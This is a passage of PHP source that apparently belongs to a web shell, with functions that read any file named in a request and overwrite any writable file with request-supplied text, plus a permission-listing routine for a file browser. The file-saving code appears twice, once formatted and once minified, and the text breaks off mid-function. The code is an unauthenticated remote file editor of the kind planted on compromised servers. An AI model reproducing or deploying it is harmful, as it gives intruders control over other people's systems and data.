{ $hidrfile = trim($_REQUEST['hidrfile']); if (is_writable($hidrfile)) { $rffp = fopen($hidrfile, "w+"); $rfiletxt = stripslashes($_REQUEST['rfiletxt']); fwrite($rffp, $rfiletxt); print "<div><b><center>\n[ <font color=DeepSkyBlue >" . basename($hidrfile) . "</font> Saved !! ]\n[<a href=" . inclink('dlink', 'rdcurrdir') . "&scdir={$nscdir}> Curr-Dir </a>] [<a href='javascript:history.back()'> Edit again </a>]\n</center></b></div><br>"; fclose($rffp); } else { print "<div><b><center>[ Can't save the file !! ] [<a href=" . inclink('dlink', 'rdcurrdir') . "&scdir={$nscdir}> Curr-Dir </a>] [<a href='javascript:history.back()'> Back </a>]</center></b></div><br>"; } } if (isset($_REQUEST['rfile']) && !isset($_REQUEST['cmd'])) { rdread($nscdir, $sf, $ef); } elseif (isset($_REQUEST['rfiletxt'])) { rdsave($nscdir); } function callperms($chkperms) { $perms = fileperms($chkperms); if (($perms & 0xc000) == 0xc000) { // Socket $info = 's'; } elseif (($perms & 0xa000) == 0xa000) { // Symbolic Link $info = 'l'; } elseif (($perms & 0x8000) == 0x8000) { // Regular $info = '-'; } elseif (($perms & 0x6000) == 0x6000) { // Block special
$nlines=htmlspecialchars($lines);print $nlines;} fclose($fp);print "</textarea>";if (is_writable($rfile)){ print "<center><input type=hidden value=$rfile name=hidrfile><input type=submit value='Save-file' > <input type=reset value='Reset' ></center>".$ef;}else {print "<div><b><center>[ Can't edit <font color=DeepSkyBlue >".basename($rfile)."</font> ]</center></b></div><br>";}print "</center><br>";} elseif (!file_exists($_REQUEST['rfile'])||!is_readable($_REQUEST['rfile'])||$_REQUEST['rfile']=$nscdir){print "<div><b><center>[ You selected a wrong file name or you don't have access !! ]</center></b></div><br>";}} function rdsave($nscdir){$hidrfile=trim($_REQUEST['hidrfile']); if (is_writable($hidrfile)){$rffp=fopen ($hidrfile,"w+"); $rfiletxt=stripslashes($_REQUEST['rfiletxt']); fwrite ($rffp,$rfiletxt);print "<div><b><center> [ <font color=DeepSkyBlue >".basename($hidrfile)."</font> Saved !! ] [<a href=".inclink('dlink','rdcurrdir')."&scdir=$nscdir> Curr-Dir </a>] [<a href='javascript:history.back()'> Edit again </a>] </center></b></div><br>";fclose($rffp);} else {print "<div><b><center>[ Can't save the file !! ] [<a href=".inclink('dlink','rdcurrdir')."&scdir=$nscdir> Curr-Dir </a>] [<a href='javascript:history.back()'> Back </a>]</center></b></div><br>";}} if (isset ($_REQUEST['rfile'])&&!isset($_REQUEST['cmd'])){rdread($nscdir,$sf,$ef);} elseif (isset($_REQUEST['rfiletxt'])){rdsave($nscdir);} function callperms($chkperms){ $perms = fileperms($chkperms); if (($perms & 0xC000) == 0xC000) { // Socket $info = 's'; } elseif (($perms & 0xA000) == 0xA000) { // Symbolic Link $info = 'l'; } elseif (($perms & 0x8000) == 0x8000) { // Regular $info = '-'; } elseif (($perms & 0x6000) == 0x6000) { // Block special $info = 'b';